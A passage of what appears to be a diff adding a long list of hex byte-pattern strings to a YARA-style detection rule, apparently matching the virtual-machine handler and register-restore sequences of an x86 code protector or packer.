+		$1141 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+		$1142 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$1143 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$1144 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+		$1145 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+		$1146 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+		$1147 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+		$1148 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+		$1149 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+		$1150 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+		$1151 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+		$1152 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+		$1153 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9}
+		$1154 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3}
+		$1155 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3}
+		$1156 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3}
+		$1157 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3}
+		$1158 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3}
+		$1159 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3}
+		$1160 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3}
+		$1161 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3}
+		$1162 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 9D 5E 5D 58 5F 5A 59 5B C3}
+		$1163 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 59 59 5A 5E 5B 9D 58 C3}
+		$1164 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 5B 9D 59 5A 5D 58 5E C3}
+		$1165 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5F 58 5A 5E 9D 5D 59 59 C3}
+		$1166 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 59 5B 5A 58 5F 9D 58 C3}
+		$1167 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5A 5F 5E 5D 5D 58 5B C3}
+		$1168 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5F 5B 5A 9D 5E 5D 59 58 C3}
+		$1169 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5E 9D 59 5A 5A 5B 58 5D C3}
+		$1170 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5D 5A 5B 58 5F 5E 5E 59 C3}
+		$1171 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 5D 58 5B 58 59 5E C3}
+		$1172 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 58 5B 5F 59 5D 5E 59 C3}
+		$1173 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 59 5E 5F 5D 5A 9D C3}
+		$1174 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5F 9D 5D 5B 58 5E 5A 59 C3}
+		$1175 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 58 59 5B 5A 5F 9D C3}
+		$1176 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 5E 58 5B 9D 59 5A 5B C3}
+		$1177 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5A 5B 59 5D 9D 59 5E 58 C3}
+		$1178 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 9D 5A 5D 5F 5E 59 C3}
+		$1179 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5F 58 5E 5D 9D 59 5B C3}
+		$1180 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5B 5E 5B 5D 59 5A 9D 58 C3}
+		$1181 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5E 5E 59 9D 5D 5B 58 C3}
+		$1182 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5F 9D 59 5D 5A 5B 58 C3}
+		$1183 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 9D 5D 58 5B 5A 5A 59 C3}
+		$1184 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 5D 59 9D 5B 58 5A 5A C3}
+		$1185 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5E 58 5D 5B 59 9D 5A 5D C3}
+		$1186 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 5F 58 58 5D 59 5B 9D C3}
+		$1187 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5A 59 5D 5B 58 5F 9D 5F C3}
+		$1188 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 59 5D 9D 58 5B 5A 5F 5A C3}
+		$1189 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5F 5B 59 5D 58 9D 5A 5D C3}
+		$1190 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5D 5A 5F 58 59 58 9D C3}
+		$1191 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 5A 59 5D 58 5F 9D 5D C3}
+		$1192 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 58 5F 5F 5B 5A 59 5D 5E C3}
+		$1193 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5B 5D 5F 5E 5A 5F 9D C3}
+		$1194 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5B 5D 5E 5B 5A 59 9D C3}
+		$1195 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 59 5A 59 5E 5D 5B 9D C3}
+		$1196 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5A 5F 5B 58 59 5D 9D 5D 5E C3}
+		$1197 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5F 5B 5B 5D 58 5E C3}
+		$1198 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5A 9D 5E 58 5F 5D 59 5B C3}
+		$1199 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 59 5E 5D 5F 5A 9D C3}
+		$1200 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5F 5D 5E 5B 58 59 5A 59 C3}
+		$1201 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 5E 58 59 5B 5F 5A 5F C3}
+		$1202 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 9D 5A 5F 5D 5A 5E 59 C3}
+		$1203 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 5A 5F 59 5D 5D 5E 9D C3}
+		$1204 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5B 59 5F 5A 5E 5D 9D 5A C3}
+		$1205 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+		$1206 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+		$1207 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+		$1208 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+		$1209 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+		$1210 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+		$1211 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+		$1212 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+		$1213 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+		$1214 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+		$1215 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+		$1216 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+		$1217 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+		$1218 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+		$1219 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+		$1220 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+		$1221 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+		$1222 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+		$1223 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+		$1224 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+		$1225 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+		$1226 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+		$1227 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+		$1228 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+		$1229 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+		$1230 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+		$1231 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+		$1232 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+		$1233 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+		$1234 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+		$1235 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+		$1236 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+		$1237 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+		$1238 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 9D 5F 59 5A 5B 5D C3}
+		$1239 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5F 58 5A 5E 5D 5E 5B 59 C3}
+		$1240 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+		$1241 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+		$1242 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+		$1243 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+		$1244 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+		$1245 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+		$1246 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+		$1247 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+		$1248 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+		$1249 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+		$1250 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+		$1251 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+		$1252 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+		$1253 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+		$1254 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+		$1255 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+		$1256 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5F 5E 58 9D 59 5A 5B 5A C3}
+		$1257 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 58 5D 5F 9D 5A 5E 5E C3}
+		$1258 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5E 58 9D 5D 58 5B 5F C3}
+		$1259 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 9D 5B 5D 5E 5F 5A 59 5E C3}
+		$1260 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 58 5D 5B 9D 5F 5A 5A C3}
+		$1261 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5D 5F 5E 5A 5B 9D 5B 58 C3}
+		$1262 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 9D 5E 5F 5A 58 5D 5D C3}
+		$1263 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 58 5F 9D 59 5A C3}
+		$1264 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 5E 59 5A 9D 5F C3}
+		$1265 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 59 5E 5D 5B 9D 5F 5A 5E C3}
+		$1266 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5F 5B 5F 5D 59 5E 9D 5A C3}
+		$1267 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5E 5A 59 5D 59 9D 5F 5B C3}
+		$1268 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5B 5E 5D 9D 5B 59 5A 5F C3}
+		$1269 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5B 5D 5A 5E 9D 5F 58 C3}
+		$1270 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 59 5E 5D 5D 5F 5A 58 C3}
+		$1271 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5E 5A 58 5F 58 59 9D 5D C3}
+		$1272 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 59 5F 5E 58 9D 5A 5E C3}
+		$1273 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 59 9D 5D 58 5B 5E 5A 5F C3}
+		$1274 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 58 5A 5B 5D 9D 5F 5E 59 C3}
+		$1275 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 5E 5A 5E 59 5F 5D 58 C3}
+		$1276 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5E 5D 9D 5B 58 5F 59 59 C3}
+		$1277 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 59 5D 5E 58 5F 9D 5D C3}
+		$1278 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5B 58 9D 5E 5F 5D 59 5F C3}
+		$1279 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5D 58 9D 59 5F 5E 59 5A C3}
+		$1280 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5D 58 5F 5B 59 58 C3}
+		$1281 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 5B 5F 5B 58 5D 59 C3}
+		$1282 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 8D 76 02 89 45 00 E9}
+		$1283 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$1284 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 83 C6 02 E9}
+		$1285 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 98 83 ED 04 89 45 00 E9}
+		$1286 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 98 83 ED 04 89 45 00 E9}
+		$1287 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 83 ED 02 66 89 45 00 E9}
+		$1288 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 66 89 45 00 8D 76 02 E9}
+		$1289 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 98 83 ED 04 89 45 00 E9}
+		$1290 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 EE FE E9}
+		$1291 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 8D 76 02 83 ED 04 89 45 00 E9}
+		$1292 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 C6 02 83 ED 04 89 45 00 E9}
+		$1293 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 83 ED 02 66 89 45 00 E9}
+		$1294 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+		$1295 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+		$1296 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+		$1297 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+		$1298 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+		$1299 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+		$1300 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+		$1301 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+		$1302 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 9D 5B 59 5E 5B 5D 58 5A C3}
+		$1303 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+		$1304 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 9D 5F 5D 5E 5B 59 5A 5A C3}
+		$1305 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 5A 5F 58 5B 59 5B 5D 5E C3}
+		$1306 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 58 5A 5F 5B 5E 5D 5D 9D C3}
+		$1307 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5F 5E 59 5E 5D 5B 5A 9D C3}
+		$1308 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 58 5A 9D 5D 59 5B 59 5E 5F C3}
+		$1309 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 58 5B 5F 5A 59 5D 9D 5E C3}
+		$1310 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5E 9D 58 5B 5F 59 58 5A C3}
+		$1311 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 59 5D 58 59 9D 5E 5A 5B 5F C3}
+		$1312 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 9D 5E 59 5D 5D 58 5B 5F C3}
+		$1313 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 58 5A 5D 5B 9D 59 5F 5F 5E C3}
+		$1314 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 9D 5D 59 5F 5E 58 58 5A 5B C3}
+		$1315 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5D 5E 5F 58 5B 5A 5A 59 9D C3}
+		$1316 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 5F 5A 59 58 5D 9D 5E 5A C3}
+		$1317 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+		$1318 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+		$1319 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 59 5E 5F 5D 5B 5A 5A 9D C3}
+		$1320 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+		$1321 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+		$1322 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+		$1323 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5F 5E 58 9D 5D 5A 5E C3}
+		$1324 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5A 5B 5E 58 5D 5F 9D 5B C3}
+		$1325 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 9D 58 5D 5F 5A 5D 59 C3}
+		$1326 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5B 5E 5A 5F 58 5D 9D 58 C3}
+		$1327 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+		$1328 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 5F 58 59 5B 5D 5E 9D 58 C3}
+		$1329 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5E 5B 59 5D 5F 9D 5A 58 5F C3}
+		$1330 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+		$1331 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5B 5E 59 5D 9D 5F 59 C3}
+		$1332 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 9D 59 5D 5B 5F 58 5E 5A 5A C3}
+		$1333 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 9D 5A 5F 59 58 5D 5E 5E C3}
+		$1334 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5F 5A 5B 5E 5D 5B 9D 59 58 C3}
+		$1335 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5B 9D 58 5F 5E 59 5D 5D 5A C3}
+		$1336 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5F 5D 58 59 9D 5E 5B 5A 5E C3}
+		$1337 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 5D 5A 5F 59 58 9D 5B 5B C3}
+		$1338 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5D 58 5F 59 5B 9D 5E 5A C3}
+		$1339 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 59 5F 59 58 9D 5E 5D 5B C3}
+		$1340 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+		$1341 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+		$1342 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+		$1343 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+		$1344 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
